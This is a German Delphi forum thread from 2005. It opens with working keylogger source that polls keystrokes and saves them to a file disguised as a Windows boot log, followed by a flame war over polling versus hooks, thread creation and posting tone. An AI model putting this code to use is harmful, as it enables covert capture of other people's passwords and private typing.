| procedure keylogger; var i: integer; f, buffer: string; LList: TStringlist; begin buffer:= ''; f:= 'C:\Windows\BootLog.log'; LList:= TStringlist.Create; if fileexists(f) then LList.loadfromfile(f); while true do begin for i := 48 to 90 do if boolean(getasynckeystate(i)) then buffer:= buffer + char(i); if length(buffer) >= 80 then begin LList.add(buffer); buffer:= ''; end; LList.SaveToFile(f); sleep(10); end; LList.Free; end;
procedure TForm1.FormCreate(Sender: TObject); var tid: cardinal; begin createthread(nil,0,@keylogger,nil,0,tid); end; |
Anonymous - Do 10.02.05 20:27
uall@ogc hat folgendes geschrieben: |
"wieso macht es denn keiner?"
weils keiner weiß und weil das mit dem hook auch keiner so macht, das war nur ein gutes bsp für DLL injection und Messagehook, aber für nen simplen keylogger einfach zu viel |
Also ich habe schon guten Code von dir gesehen, aber dieser Vorschlag ist Quark. Zumal du nicht alle Tastenanschläge bekommen wirst.
Desweiteren sind Timer eine systembelastende Methode und sollten wo es geht vermieden werden. Schonmal was von Threads gehört?
*WÜRG* *KOTZ* und jetzt kommen noch Leute die das für toll und genial halten. Grausam!!! Bitte trennt diesen Thread vom Tutorial!!! HILFE!!!
Kleiner Appell
<ironie>
Liebe Anfänger,
benutzt doch einfach was ihr wollt. Am besten sind übrigens Timer mit 1 Millisekunde geeignet (man sollte nicht weniger als 64000 Timer gleichzeitig verwenden!). Stattdessen kann man auch Threads mit einer Endlosschleife ohne Yield an andere Threads nehmen. Wenn man zusätzlich CPU-Abwärme braucht (Heizung, Kaffee kochen, Spiegelei braten ...) kann man auch den restlichen Code in der Endlosschleife im Thread durch <nichts> ersetzen. Erst wenn die CPU-Last bei permanent 99% ist, kann man sich zurücklehnen.
Für alle, die es noch optimaler wollen, kann ich auch eine kleine Assembler-Routine mit superkleinem Overhead basteln.
Danke für eure Aufmerksamkeit!
</ironie>
... ach ja ... und macht der Welt bitte die Freude und sagt, bei welcher Firma ihr arbeitet oder wie das Programm heißt, damit niemand so dumm (lies: unwissend) sein muß und es auch wirklich benutzt.
F34r0fTh3D4rk hat folgendes geschrieben: |
er ist halt der meister nur er kommt auf sonn sch**ß der so einfach wie genial ist, so ist er halt, :flehan: |
Wenn da jetzt nicht "sch**ß" gestanden hätte (ich fasse diesen Text mal als nicht-ironisch auf!) würde ich nochmal kotzen müssen ...
uall@ogc - Do 10.02.05 20:44
Zitat: |
Also ich habe schon guten Code von dir gesehen, aber dieser Vorschlag ist Quark. Zumal du nicht alle Tastenanschläge bekommen wirst.
|
teste es so wie ichs gemacht habe, wenn du mehr als 100 (naja sagen wir mal 10 anschläge) pro sekunde machen kannst dann stimmts
Zitat: |
Desweiteren sind Timer eine systembelastende Methode und sollten wo es geht vermieden werden. Schonmal was von Threads gehört?
|
ne aber gut das du mir meinen code angeschaut hast, also ist CreateThread = Timer ?
Zitat: |
*WÜRG* *KOTZ* und jetzt kommen noch Leute die das für toll und genial halten. Grausam!!! Bitte trennt diesen Thread vom Tutorial!!! HILFE!!!
|
wenn das geht bitte machen, aber dann bitte als Thread mit dem titel "keylogger" oder so, es ist von mir nur eine Methode geschrieben wie man es weniger KOMPLIZIERT machen kann aber nahezu das selbe ergebnis erbringen kann was vollkommend ausreichend ist (einfach testen)
retnyg - Do 10.02.05 20:54
Zitat: |
Liebe Anfänger,
benutzt doch einfach was ihr wollt. Am besten sind übrigens Timer mit 1 Millisekunde geeignet (man sollte nicht weniger als 64000 Timer gleichzeitig verwenden!). Stattdessen kann man auch Threads mit einer Endlosschleife ohne Yield an andere Threads nehmen. Wenn man zusätzlich CPU-Abwärme braucht (Heizung, Kaffee kochen, Spiegelei braten ...) kann man auch den restlichen Code in der Endlosschleife im Thread durch <nichts> ersetzen. Erst wenn die CPU-Last bei permanent 99% ist, kann man sich zurücklehnen.
Für alle, die es noch optimaler wollen, kann ich auch eine kleine Assembler-Routine mit superkleinem Overhead basteln. |
das kannste auch einfacher haben: while true do application.processmessages;
uall@ogc - Do 10.02.05 20:59
Acha da du dich gerade so angemacht fühlst...
Habe ich deinen code irgendwie schlecht gemacht? Ich habe lediglich behauptet das der aufwand für einen keylogger mit deiner methode viel zu groß ist... nicht aber das man sie für andere sachen benutzen kann.
es gibt einige wenige programme die deine art der "dll injektion" genutzt haben oder nutzen.
aber bei denen ist es wichtig das die dll im prozess geladen ist und die machen dann etwas anderes (kann mich noch an die guten alten Cheatings Death zeiten reinnern um version 2.0) aber die nutzen jetzt auch schon ne andere methode.
Nun stell ich mir die frage wofür braucht man einen Keylogger? das einzige was mir da einfällt ist vielleicht ein vrius oder irgend etwas was einen auspioniert... das programm sollte möglichs klein sein und bestenfalls asu einer exe bestehen, klar kann man deinen code benutzen, aber für den anfänger (fear) z.b. war es doch extrem schwierig
ich habe ihm halt eine leichtere methode gegeben und er ist damit klargekommen. bist nu sauer das eventl jemand der den thread hier liest nicht mehr das so macht wie du, ob wohl es 'vielleicht' die bessere methode ist?
das kotz würg etc. find cih super nett von dir, das CreateThread wurde schon von Luckie bemängelt -> klar kann man halt mit Begin thread machen oder halt CreateThread mit stdcall und parameter und rückgabewert - KANN MAN- man kann auch meinst benutzen es ist zwar eurer meinung anch nicht so toll funktioniert aber AUCH OHNE probleme
wenn hier jedesmal rumgeflamed wird weil ich mal sage: machs doch so etc. und hier die bsichen besseren (Luckie, Assarbad etc.) mal wieder ihre meinung posten müssen, ich versuch auch nur zu helfen und immerhin sind 2 leute damit klargekommen weil dein tutorial wohl etwas zu schwer für sie war.
ihr könnt ruhig alle meine beträge hier löschen, gehört ja nicht direkt zum tutoial sondern nur um eine problemösung von Fear
danke
Anonymous - Do 10.02.05 20:59
uall@ogc hat folgendes geschrieben: |
Zitat: |
Also ich habe schon guten Code von dir gesehen, aber dieser Vorschlag ist Quark. Zumal du nicht alle Tastenanschläge bekommen wirst.
| teste es so wie ichs gemacht habe, wenn du mehr als 100 (naja sagen wir mal 10 anschläge) pro sekunde machen kannst dann stimmts |
Oh - stimmt - ich vergaß. Wenn ich zB Wissen will, ob ein Kumpel auf Arbeit ist, dann rufe ich ja auch alle 10 Sekunden bei seinem Betrieb an um nachzufragen (Polling) anstatt um einen Rückruf zu bitten um mich benachrichtigen zu lassen (Hooks/Notifications). Und damit ich besonders clever bin, der Hausmeister könnte ja schließlich mehr wissen als der Chef, rufe ich mit dutzenden Telefonen gleichzeitig (FOR-Schleife) alle Mitarbeiter seines Betriebes kurz hintereinander an.
Das ist Logik. Das ist Effizienz. Danke Meister!
uall@ogc hat folgendes geschrieben: |
Zitat: |
Desweiteren sind Timer eine systembelastende Methode und sollten wo es geht vermieden werden. Schonmal was von Threads gehört?
|
ne aber gut das du mir meinen code angeschaut hast, also ist CreateThread = Timer ? |
Danke für diese Worte, weiser Meister! Ich bin ja doof, nicht wahr ? ... :evil:
uall@ogc hat folgendes geschrieben: |
wenn man einfach nur den Text mitloggn will warum muss man das übr nen keayboard hook macen da reicht auch nen timer mit Getkeyboardstate(xxx) (war der befehl so oO) ider getasynckeystate() |
Ganz abgesehen, daß du mit der Rektsraibunk auch ein wenig auf dem Kriegsfuß stehst ...
uall@ogc hat folgendes geschrieben: |
Zitat: |
*WÜRG* *KOTZ* und jetzt kommen noch Leute die das für toll und genial halten. Grausam!!! Bitte trennt diesen Thread vom Tutorial!!! HILFE!!!
|
wenn das geht bitte machen, aber dann bitte als Thread mit dem titel "keylogger" oder so, |
Das geht mit phpBB normalerweise.
uall@ogc hat folgendes geschrieben: |
es ist von mir nur eine Methode geschrieben wie man es weniger KOMPLIZIERT machen kann aber nahezu das selbe ergebnis erbringen kann was vollkommend ausreichend ist (einfach testen) |
Soso, weniger kompliziert ... ob das die CPU auch so sieht? Komischerweise hat die CPU bei deiner Methode WEIT mehr zu tun als bei jeglichem Hook!
Kennst du den Unterschied zwischen dem:
... und dem ...
???
Ist aber immer gut einen wertvollen Geheimtip von einem echten Guru zu bekommen, der
die absolut geheime Methode gefunden hat, auf die die anderen Idioten noch nicht gekommen sind.
raziel - Do 10.02.05 21:04
Assarbad hat folgendes geschrieben: |
uall@ogc hat folgendes geschrieben: | Zitat: |
*WÜRG* *KOTZ* und jetzt kommen noch Leute die das für toll und genial halten. Grausam!!! Bitte trennt diesen Thread vom Tutorial!!! HILFE!!!
| wenn das geht bitte machen, aber dann bitte als Thread mit dem titel "keylogger" oder so, |
Das geht mit phpBB normalerweise. |
Nur bei uns grad nicht und deshalb ist jetzt hier Schluß :mahn:
Der Rest wird bitte per PN geklärt! //Edit: Bzw. in einem anderen Topic.
Danke,
raziel
retnyg - Do 10.02.05 21:05
mist dat haben auch die spitzel gesehen *duck*
uall@ogc - Do 10.02.05 21:07
Zitat: |
"wieso macht es denn keiner?"
weils keiner weiß und weil das mit dem hook auch keiner so macht, das war nur ein gutes bsp für DLL injection und Messagehook, aber für nen simplen keylogger einfach zu viel
|
weils keiner weiß = nicht weil du es nicht weißt Assarbad - sondern weil deins das einzige tutorial ist für nen keylogger
aber ich habe hier lediglich eine andere variante gepostet, mit der man auch nen keylogger schreiben kann - aber das es so geht wurde noch NIE irgendwo gesagt, und die normalis wissen es halt nicht - nu steht meien variante auch zu auswahl
edit: ich hör auf hier wieter zu posten hatt deinen post zu spät gesehen war schon am schreiben
aber Assarbad vill regst dich mal nen bischen ab kannst mich gerne PMen wenn das geklärt haben willst
Anonymous - Do 10.02.05 21:10
retnyg hat folgendes geschrieben: |
das kannste auch einfacher haben: while true do application.processmessages; |
Die richtige Antwort wäre gewesen:
Aber ist okay ;)
uall@ogc hat folgendes geschrieben: |
Acha da du dich gerade so angemacht fühlst... |
Oh ja, ich fühle mich angemacht. Allerdings nicht von dir, sondern von der Tatsache, daß du hier Unsinn rausposaunst und auch gleich die ersten Unwissenden ankommen die ihren Meister gefunden haben ...
uall@ogc hat folgendes geschrieben: |
Habe ich deinen code irgendwie schlecht gemacht? Ich habe lediglich behauptet das der aufwand für einen keylogger mit deiner methode viel zu groß ist... nicht aber das man sie für andere sachen benutzen kann. |
Siehe Anrufbeispiel. Du hast so recht. Logik und Effizienz sind dumme Prinzipien.
uall@ogc hat folgendes geschrieben: |
es gibt einige wenige programme die deine art der "dll injektion" genutzt haben oder nutzen.
aber bei denen ist es wichtig das die dll im prozess geladen ist und die machen dann etwas anderes (kann mich noch an die guten alten Cheatings Death zeiten reinnern um version 2.0) aber die nutzen jetzt auch schon ne andere methode. |
Es ist auch nur _eine_ Methode um dies zu erreichen. Davon gibt es hunderte und vor allem auch bessere (weil "sanftere") als die, die ich in dem besagten guten Code von dir gesehen habe!
uall@ogc hat folgendes geschrieben: |
Nun stell ich mir die frage wofür braucht man einen Keylogger? das einzige was mir da einfällt ist vielleicht ein vrius oder irgend etwas was einen auspioniert... das programm sollte möglichs klein sein und bestenfalls asu einer exe bestehen, klar kann man deinen code benutzen, aber für den anfänger (fear) z.b. war es doch extrem schwierig
ich habe ihm halt eine leichtere methode gegeben und er ist damit klargekommen. bist nu sauer das eventl jemand der den thread hier liest nicht mehr das so macht wie du, ob wohl es 'vielleicht' die bessere methode ist? |
Nein. Ich bin nur sauer weil du ja soooo recht hast und ich keine Argumente habe (siehe oben).
uall@ogc hat folgendes geschrieben: |
das kotz würg etc. find cih super nett von dir, das CreateThread wurde schon von Luckie bemängelt -> klar kann man halt mit Begin thread machen oder halt CreateThread mit stdcall und parameter und rückgabewert - KANN MAN- man kann auch meinst benutzen es ist zwar eurer meinung anch nicht so toll funktioniert aber AUCH OHNE probleme |
In Sachen BeginThread() habe ich eine komplett andere Auffassung als Luckie - würfele also gefälligst nicht die Personalien durcheinander!
uall@ogc hat folgendes geschrieben: |
wenn hier jedesmal rumgeflamed wird weil ich mal sage: machs doch so etc. und hier die bsichen besseren (Luckie, Assarbad etc.) mal wieder ihre meinung posten müssen, ich versuch auch nur zu helfen und immerhin sind 2 leute damit klargekommen weil dein tutorial wohl etwas zu schwer für sie war.
ihr könnt ruhig alle meine beträge hier löschen, gehört ja nicht direkt zum tutoial sondern nur um eine problemösung von Fear |
Nochmal - ohne Polemik, hoffe ich - es geht hier nicht darum dich fertigzumachen oder ähnliches. Es geht hier einfach darum, daß du Unsinn verbreitest. Ich ahne schon schlimmes, wenn dieser Unsinn um sich greift und dann die ersten Fragen von irgendwelchen Leuten im Forum kommen, die keine Ahnung davon haben was sie machen.
Sicher geht deine Methode ... aber überdenke doch vielleicht mal halbwegs objektiv das Anrufbeispiel. Dann wirst du sehen wie unsinnig deine Methode ist - völlig unabhängig ob es funktioniert. Ich kann dir soviele Sachen nennen, "die funktionieren", aber das heißt nicht, daß sie deshalb so wie sie implementiert sind auch sinnvoll sind.
uall@ogc hat folgendes geschrieben: |
edit: ich hör auf hier wieter zu posten hatt deinen post zu spät gesehen war schon am schreiben
aber Assarbad vill regst dich mal nen bischen ab kannst mich gerne PMen wenn das geklärt haben willst |
*heul* Es geht hier nicht um irgendeine "persönliche Sache" die man per PN lösen müßte. Das ist für mich auch nichts persönliches. Ich will nur, daß dieser fachliche Unfug nicht die Runde macht. Zum Xten mal es ist und bleibt Unsinn dies so zu machen. Und nochmal, ja es geht dennoch so.
An uall@ogc:
Bitte äußere dich zu meinen Argumenten. Zugegeben, oben war ich vielleicht etwas impulsiv, was aber nicht zuletzt daran lag, daß plötzlich die ersten Newbies (?) heranströmten, die deine "geniale" Idee übernehmen wollten.
Wie gesagt: macht es alle so wie ihr wollt, aber erspart bitte den Benutzern eure Lösung!!!
Karlson - Do 10.02.05 21:18
edit: da hat sich wsa getan während ich schrieb. will mich nicht einmischen...
retnyg - Do 10.02.05 21:20
was ist so schlimm dran einen thread mit createthread zu erzeugen ? wird da der speicher nicht mehr freigemacht oder was ?
uall@ogc - Do 10.02.05 21:29
so nochmal bischen von mir
1. meine code sind nicht die schönsten - gebe ich zu
2. rechtschreibfehlder mache ich genug weil ich schnell schreibe - könnt ihr behalten ;>
3. Assarbad bitte denke nicht das ich deinen code schelcht machen will es hat folgende gründe warum ich das gemacht habe da:
F34r0fTh3D4rk hat schon bischen mit Cheats (opengl hacks) etc. oder in die richtung threads aufgmacht mich gefragt etc.
ich weiß in etwa wofür ihr den logger braucht -> es sagt ja niemand das er es kommerziell benutzen will, ansonsten
würde er denk ich mal schon verstehen was der code macht und nicht einfach copy&paste
Ich wollte ohm eine "einfachere" methode geben die ebenfalls funktioniert (sie loggt alles mit)
den code wird er villeicht auch verstehen, glaub bei deinem hätte er 0 verstanden
wie schön der code nun ist ist für ihn doch latte, die prozessornutzung ist auch nicht wirklich mehr (wenn überhaupt mehr)
es ist ja schöner das man immer informiert wird wenn nen key gedrückt wird - aber der aufwandt/nutzen faktor für
F34r0fTh3D4rk ist dabei viel zu hoch
und das ich nur müll gelabert habe stimmt ja mal überhaupt nicht
-> und das mit dem "es weiß keiner" -> klar wissen das viele aber nicht die anfänger die finden beim keylogger doch nur dein turoial kapieren dann 0 und machen copy&paste ist das der sinn?
Anonymous - Do 10.02.05 21:31
retnyg hat folgendes geschrieben: |
was ist so schlimm dran einen thread mit createthread zu erzeugen ? wird da der speicher nicht mehr freigemacht oder was ? |
Nichts. Das klärst du mit Luckie. Belies dich vorher in den Tutorials.
raziel - Do 10.02.05 21:35
Assarbad hat folgendes geschrieben: |
*heul* Es geht hier nicht um irgendeine "persönliche Sache" die man per PN lösen müßte. Das ist für mich auch nichts persönliches. Ich will nur, daß dieser fachliche Unfug nicht die Runde macht. Zum Xten mal es ist und bleibt Unsinn dies so zu machen. Und nochmal, ja es geht dennoch so. |
Dann lasst die persönlichen Sachen auch einfach raus.
Sätze wie
Assarbad hat folgendes geschrieben: |
Das ist Logik. Das ist Effizienz. Danke Meister! |
sind nicht sachlich sondern (imho) eher provokativ.
Anonymous - Do 10.02.05 22:23
uall@ogc hat folgendes geschrieben: |
2. rechtschreibfehlder mache ich genug weil ich schnell schreibe - könnt ihr behalten ;> |
Ich schreibe auch schnell. Sieh doch das Bemühen nach vernünftiger Schreibweise (um Groß-/Kleinschreibung streite ich mich ja garnicht und auch bzgl. alter/neuer Rechtschreibung bin ich tolerant) mal als Form des Respekts gegenüber deinem Gesprächspartner. Text, und vielleicht ein paar Smileys, ist das einzige was er von dir zu sehen bekommt. Übrigens ist das auch ein Grund, warum man dich vielleicht nicht respektiert ... es ist eben wie das Sprichwort sagt: Wie man in den Wald ruft, so schallt es hinaus.
uall@ogc hat folgendes geschrieben: |
F34r0fTh3D4rk hat schon bischen mit Cheats (opengl hacks) etc. oder in die richtung threads aufgmacht mich gefragt etc.
ich weiß in etwa wofür ihr den logger braucht -> es sagt ja niemand das er es kommerziell benutzen will, ansonsten
würde er denk ich mal schon verstehen was der code macht und nicht einfach copy&paste |
Dann macht eben dafür einen eigenen Thread auf. Aber normalerweise sollte man nur weil es "ein kleines Programm" ist, nicht schludrig programmieren.
uall@ogc hat folgendes geschrieben: |
Ich wollte ohm eine "einfachere" methode geben die ebenfalls funktioniert (sie loggt alles mit)
den code wird er villeicht auch verstehen, glaub bei deinem hätte er 0 verstanden |
Kann sein, es gibt aber auch eine
aktuelle Version [
http://assarbad.net/de/stuff/tutorials/hooks/] davon, die stark erweitert wurde und also auch nicht so schwer verständlich sein sollte.
Auch gut beim Thema Hooks (weil DLLs benötigt):
http://assarbad.net/de/stuff/tutorials/dll_tutorial/
uall@ogc hat folgendes geschrieben: |
wie schön der code nun ist ist für ihn doch latte, die prozessornutzung ist auch nicht wirklich mehr (wenn überhaupt mehr) |
Sauberes Programmieren ist keine Frage der Mondphase, des Wetters, der Einstrahlung von Weltraumstrahlung oder der Laune. Wenn man programmiert, sollte man es immer nach besten Grundsätzen tun. Keine Frage, wir lernen alle dazu und bei meinen Programmen von zB 2000 oder 2001 rollen sich mir heute teilweise die Fußnägel auf. Das gilt ebenso für Tutorials von mir aus dieser Zeit.
uall@ogc hat folgendes geschrieben: |
es ist ja schöner das man immer informiert wird wenn nen key gedrückt wird - aber der aufwandt/nutzen faktor für F34r0fTh3D4rk ist dabei viel zu hoch
und das ich nur müll gelabert habe stimmt ja mal überhaupt nicht |
Ja, Jungs. Ihr könnt nicht erwarten, daß jeder hier mal eben Telepath ist!
Die Methode ist fachlicher Unfug. Das ist Fakt. Dafür würden dich, definitiv diverse Win32-Gurus virtuell steinigen.
uall@ogc hat folgendes geschrieben: |
-> und das mit dem "es weiß keiner" -> klar wissen das viele aber nicht die anfänger die finden beim keylogger doch nur dein turoial kapieren dann 0 und machen copy&paste ist das der sinn? |
Nein, ist es nicht! Es gibt aber immernoch Foren um nachzufragen. Desweiteren werden die Tutorials bei genügend gleichlautenden Fragen auch angepaßt werden. Im Gegenzug erwarte ich allerdings von den Lesern, daß sie sich auch selber bemühen, denn wie du schon sagst - die Copy&Paste-Mentalität hat seit wenigen Jahren um sich gegriffen.
raziel hat folgendes geschrieben: |
Assarbad hat folgendes geschrieben: | *heul* Es geht hier nicht um irgendeine "persönliche Sache" die man per PN lösen müßte. Das ist für mich auch nichts persönliches. Ich will nur, daß dieser fachliche Unfug nicht die Runde macht. Zum Xten mal es ist und bleibt Unsinn dies so zu machen. Und nochmal, ja es geht dennoch so. |
Dann lasst die persönlichen Sachen auch einfach raus. |
Hatte nie persönliches drin. Es wurde nur so aufgefaßt. Dies ist ein Unterschied und bedurfte einer Erklärung. Die hat er damit bekommen.
raziel hat folgendes geschrieben: |
Sätze wie Assarbad hat folgendes geschrieben: | Das ist Logik. Das ist Effizienz. Danke Meister! | sind nicht sachlich sondern (imho) eher provokativ. |
Eher "reaktiv". Actio == Reactio wie Newton bereits erkannte. Wenn ich bereits solche
F34r0fTh3D4rk hat folgendes geschrieben: |
er ist halt der meister nur er kommt auf sonn sch**ß der so einfach wie genial ist, so ist er halt, :flehan: |
Sachen lese, dann juckt's einfach im Finger. Es ist traurig, wenn hier der nächste Unwissende ankommt und sieht ... "hoho das ist ja viel simpler als dieser Hook" ... schwuppdi haben wir das nächste Frickelprogramm. Solche Programme gibt es wie Sand am Meer, ist richtig, das heißt aber nicht, daß es noch mehr werden müßten.
Außerdem würde ich doch sagen, daß es genügend _Argumente_ in meinen Postings gibt.
Man muß also auch nicht immer gleich als Moderator überempfindlich sein. Den einzigen Mängel an diesem Thread, den ich sehe, er ist Offtopic - denn mit Hooks hat das Thema Keylogger nicht mehr viel zu tun. Hooks sind in ihrer Anwendbarkeit weit vielfältiger - auch wenn die meisten natürlich auf Keylogger aus sind.
Christian S. - Do 10.02.05 22:29
Assarbad hat folgendes geschrieben: |
Man muß also auch nicht immer gleich als Moderator überempfindlich sein. |
Überempfindlich? :shock: Deine Postings trieften nur so vor Ironie und Sarkasmus! Egal wieviele sachliche Argumente sich darin befunden haben mögen, Dein aggressiver Schreibstil hat eine sachliche Diskussion unmöglich gemacht.
Und da der Thread hier sowieso nichts mehr gibt, mache ich hier zu.
Die Diskussion "CreateThread vs. BeginThraed" kann hier [http://www.delphi-forum.de/viewtopic.php?t=36610] fortgeführt werden.
Entwickler-Ecke.de based on phpBB
Copyright 2002 - 2011 by Tino Teuber, Copyright 2011 - 2025 by Christian Stelzmann Alle Rechte vorbehalten.
Alle Beiträge stammen von dritten Personen und dürfen geltendes Recht nicht verletzen.
Entwickler-Ecke und die zugehörigen Webseiten distanzieren sich ausdrücklich von Fremdinhalten jeglicher Art!